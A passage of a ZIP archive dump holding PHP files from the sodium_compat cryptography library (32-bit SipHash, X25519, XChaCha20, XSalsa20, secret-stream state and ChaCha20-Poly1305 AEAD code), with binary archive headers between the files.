            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
PK	�[��xHHXchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/SecretStream/State.phpnu�[���<?php

/**
 * Class ParagonIE_Sodium_Core32_SecretStream_State
 */
class ParagonIE_Sodium_Core32_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core32_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0",
STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core32_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0",
STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0,
8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key =
ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core32_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            ParagonIE_Sodium_Core32_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core32_Util::load_4(
            ParagonIE_Sodium_Core32_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string,
36, 12);
        $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48,
8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
PK	�[[�(���Mchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/SipHash.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core32_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit
integers
 */
class ParagonIE_Sodium_Core32_SipHash extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int64> $v
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        $v[0] = $v[0]->addInt64($v[1]);

        # v1 = ROTL(v1, 13);
        $v[1] = $v[1]->rotateLeft(13);

        #  v1 ^= v0;
        $v[1] = $v[1]->xorInt64($v[0]);

        #  v0=ROTL(v0,32);
        $v[0] = $v[0]->rotateLeft(32);

        # v2 += v3;
        $v[2] = $v[2]->addInt64($v[3]);

        # v3=ROTL(v3,16);
        $v[3] = $v[3]->rotateLeft(16);

        #  v3 ^= v2;
        $v[3] = $v[3]->xorInt64($v[2]);

        # v0 += v3;
        $v[0] = $v[0]->addInt64($v[3]);

        # v3=ROTL(v3,21);
        $v[3] = $v[3]->rotateLeft(21);

        # v3 ^= v0;
        $v[3] = $v[3]->xorInt64($v[0]);

        # v2 += v1;
        $v[2] = $v[2]->addInt64($v[1]);

        # v1=ROTL(v1,17);
        $v[1] = $v[1]->rotateLeft(17);

        #  v1 ^= v2;
        $v[1] = $v[1]->xorInt64($v[2]);

        # v2=ROTL(v2,32)
        $v[2] = $v[2]->rotateLeft(32);

        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            new ParagonIE_Sodium_Core32_Int64(
                array(0x736f, 0x6d65, 0x7073, 0x6575)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x646f, 0x7261, 0x6e64, 0x6f6d)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x6c79, 0x6765, 0x6e65, 0x7261)
            ),
            new ParagonIE_Sodium_Core32_Int64(
                array(0x7465, 0x6462, 0x7974, 0x6573)
            )
        );

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 0, 8)
            ),
            ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($key, 8, 8)
            )
        );

        # b = ( ( u64 )inlen ) << 56;
        $b = new ParagonIE_Sodium_Core32_Int64(
            array(($inlen << 8) & 0xffff, 0, 0, 0)
        );

        # v3 ^= k1;
        $v[3] = $v[3]->xorInt64($k[1]);
        # v2 ^= k0;
        $v[2] = $v[2]->xorInt64($k[0]);
        # v1 ^= k1;
        $v[1] = $v[1]->xorInt64($k[1]);
        # v0 ^= k0;
        $v[0] = $v[0]->xorInt64($k[0]);

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($in, 0, 8)
            );

            # v3 ^= m;
            $v[3] = $v[3]->xorInt64($m);

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] = $v[0]->xorInt64($m);

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[6]) << 16
                    )
                );
            case 6:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[5]) << 8
                    )
                );
            case 5:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[4])
                    )
                );
            case 4:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[3]) << 24, 0
                    )
                );
            case 3:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[2]) << 16, 0
                    )
                );
            case 2:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[1]) << 8, 0
                    )
                );
            case 1:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[0]), 0
                    )
                );
            case 0:
                break;
        }

        # v3 ^= b;
        $v[3] = $v[3]->xorInt64($b);

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] = $v[0]->xorInt64($b);

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our
implementation
        # v2 ^= 0xff;
        $v[2]->limbs[3] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return $v[0]
            ->xorInt64($v[1])
            ->xorInt64($v[2])
            ->xorInt64($v[3])
            ->toReverseString();
    }
}
PK	�[ڨ~T��Jchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Util.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core32_Util extends
ParagonIE_Sodium_Core_Util
{

}
PK	�[[���"+"+Lchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/X25519.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_X25519
 */
abstract class ParagonIE_Sodium_Core32_X25519 extends
ParagonIE_Sodium_Core32_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0]->toInt();
        $f1 = (int) $f[1]->toInt();
        $f2 = (int) $f[2]->toInt();
        $f3 = (int) $f[3]->toInt();
        $f4 = (int) $f[4]->toInt();
        $f5 = (int) $f[5]->toInt();
        $f6 = (int) $f[6]->toInt();
        $f7 = (int) $f[7]->toInt();
        $f8 = (int) $f[8]->toInt();
        $f9 = (int) $f[9]->toInt();
        $g0 = (int) $g[0]->toInt();
        $g1 = (int) $g[1]->toInt();
        $g2 = (int) $g[2]->toInt();
        $g3 = (int) $g[3]->toInt();
        $g4 = (int) $g[4]->toInt();
        $g5 = (int) $g[5]->toInt();
        $g6 = (int) $g[6]->toInt();
        $g7 = (int) $g[7]->toInt();
        $g8 = (int) $g[8]->toInt();
        $g9 = (int) $g[9]->toInt();
        $b = -$b;
        /** @var int $x0 */
        $x0 = ($f0 ^ $g0) & $b;
        /** @var int $x1 */
        $x1 = ($f1 ^ $g1) & $b;
        /** @var int $x2 */
        $x2 = ($f2 ^ $g2) & $b;
        /** @var int $x3 */
        $x3 = ($f3 ^ $g3) & $b;
        /** @var int $x4 */
        $x4 = ($f4 ^ $g4) & $b;
        /** @var int $x5 */
        $x5 = ($f5 ^ $g5) & $b;
        /** @var int $x6 */
        $x6 = ($f6 ^ $g6) & $b;
        /** @var int $x7 */
        $x7 = ($f7 ^ $g7) & $b;
        /** @var int $x8 */
        $x8 = ($f8 ^ $g8) & $b;
        /** @var int $x9 */
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = ParagonIE_Sodium_Core32_Int32::fromInt($f0 ^ $x0);
        $f[1] = ParagonIE_Sodium_Core32_Int32::fromInt($f1 ^ $x1);
        $f[2] = ParagonIE_Sodium_Core32_Int32::fromInt($f2 ^ $x2);
        $f[3] = ParagonIE_Sodium_Core32_Int32::fromInt($f3 ^ $x3);
        $f[4] = ParagonIE_Sodium_Core32_Int32::fromInt($f4 ^ $x4);
        $f[5] = ParagonIE_Sodium_Core32_Int32::fromInt($f5 ^ $x5);
        $f[6] = ParagonIE_Sodium_Core32_Int32::fromInt($f6 ^ $x6);
        $f[7] = ParagonIE_Sodium_Core32_Int32::fromInt($f7 ^ $x7);
        $f[8] = ParagonIE_Sodium_Core32_Int32::fromInt($f8 ^ $x8);
        $f[9] = ParagonIE_Sodium_Core32_Int32::fromInt($f9 ^ $x9);
        $g[0] = ParagonIE_Sodium_Core32_Int32::fromInt($g0 ^ $x0);
        $g[1] = ParagonIE_Sodium_Core32_Int32::fromInt($g1 ^ $x1);
        $g[2] = ParagonIE_Sodium_Core32_Int32::fromInt($g2 ^ $x2);
        $g[3] = ParagonIE_Sodium_Core32_Int32::fromInt($g3 ^ $x3);
        $g[4] = ParagonIE_Sodium_Core32_Int32::fromInt($g4 ^ $x4);
        $g[5] = ParagonIE_Sodium_Core32_Int32::fromInt($g5 ^ $x5);
        $g[6] = ParagonIE_Sodium_Core32_Int32::fromInt($g6 ^ $x6);
        $g[7] = ParagonIE_Sodium_Core32_Int32::fromInt($g7 ^ $x7);
        $g[8] = ParagonIE_Sodium_Core32_Int32::fromInt($g8 ^ $x8);
        $g[9] = ParagonIE_Sodium_Core32_Int32::fromInt($g9 ^ $x9);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function
fe_mul121666(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $f[$i]->toInt64()->mulInt(121666, 17);
        }

        $carry9 = $h[9]->addInt(1 << 24)->shiftRight(25);
        $h[0] = $h[0]->addInt64($carry9->mulInt(19, 5));
        $h[9] = $h[9]->subInt64($carry9->shiftLeft(25));

        $carry1 = $h[1]->addInt(1 << 24)->shiftRight(25);
        $h[2] = $h[2]->addInt64($carry1);
        $h[1] = $h[1]->subInt64($carry1->shiftLeft(25));

        $carry3 = $h[3]->addInt(1 << 24)->shiftRight(25);
        $h[4] = $h[4]->addInt64($carry3);
        $h[3] = $h[3]->subInt64($carry3->shiftLeft(25));

        $carry5 = $h[5]->addInt(1 << 24)->shiftRight(25);
        $h[6] = $h[6]->addInt64($carry5);
        $h[5] = $h[5]->subInt64($carry5->shiftLeft(25));

        $carry7 = $h[7]->addInt(1 << 24)->shiftRight(25);
        $h[8] = $h[8]->addInt64($carry7);
        $h[7] = $h[7]->subInt64($carry7->shiftLeft(25));

        $carry0 = $h[0]->addInt(1 << 25)->shiftRight(26);
        $h[1] = $h[1]->addInt64($carry0);
        $h[0] = $h[0]->subInt64($carry0->shiftLeft(26));

        $carry2 = $h[2]->addInt(1 << 25)->shiftRight(26);
        $h[3] = $h[3]->addInt64($carry2);
        $h[2] = $h[2]->subInt64($carry2->shiftLeft(26));

        $carry4 = $h[4]->addInt(1 << 25)->shiftRight(26);
        $h[5] = $h[5]->addInt64($carry4);
        $h[4] = $h[4]->subInt64($carry4->shiftLeft(26));

        $carry6 = $h[6]->addInt(1 << 25)->shiftRight(26);
        $h[7] = $h[7]->addInt64($carry6);
        $h[6] = $h[6]->subInt64($carry6->shiftLeft(26));

        $carry8 = $h[8]->addInt(1 << 25)->shiftRight(26);
        $h[9] = $h[9]->addInt64($carry8);
        $h[8] = $h[8]->subInt64($carry8->shiftLeft(26));

        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->toInt32();
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h2 */
        $h2 = $h;
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;

            # swap ^= b;
            $swap ^= $b;

            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);

            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);

            # swap = b;
            /** @var int $swap */
            $swap = $b;

            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);

            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return (string) self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
PK	�[l�����Ochat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/XChaCha20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XChaCha20
 */
class ParagonIE_Sodium_Core32_XChaCha20 extends
ParagonIE_Sodium_Core32_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key =
'')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
PK	�[F&bccNchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/XSalsa20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XSalsa20
 */
abstract class ParagonIE_Sodium_Core32_XSalsa20 extends
ParagonIE_Sodium_Core32_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
PK	�[^�����Echat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Crypto.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Crypto', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 0,
$clen);

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return
the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
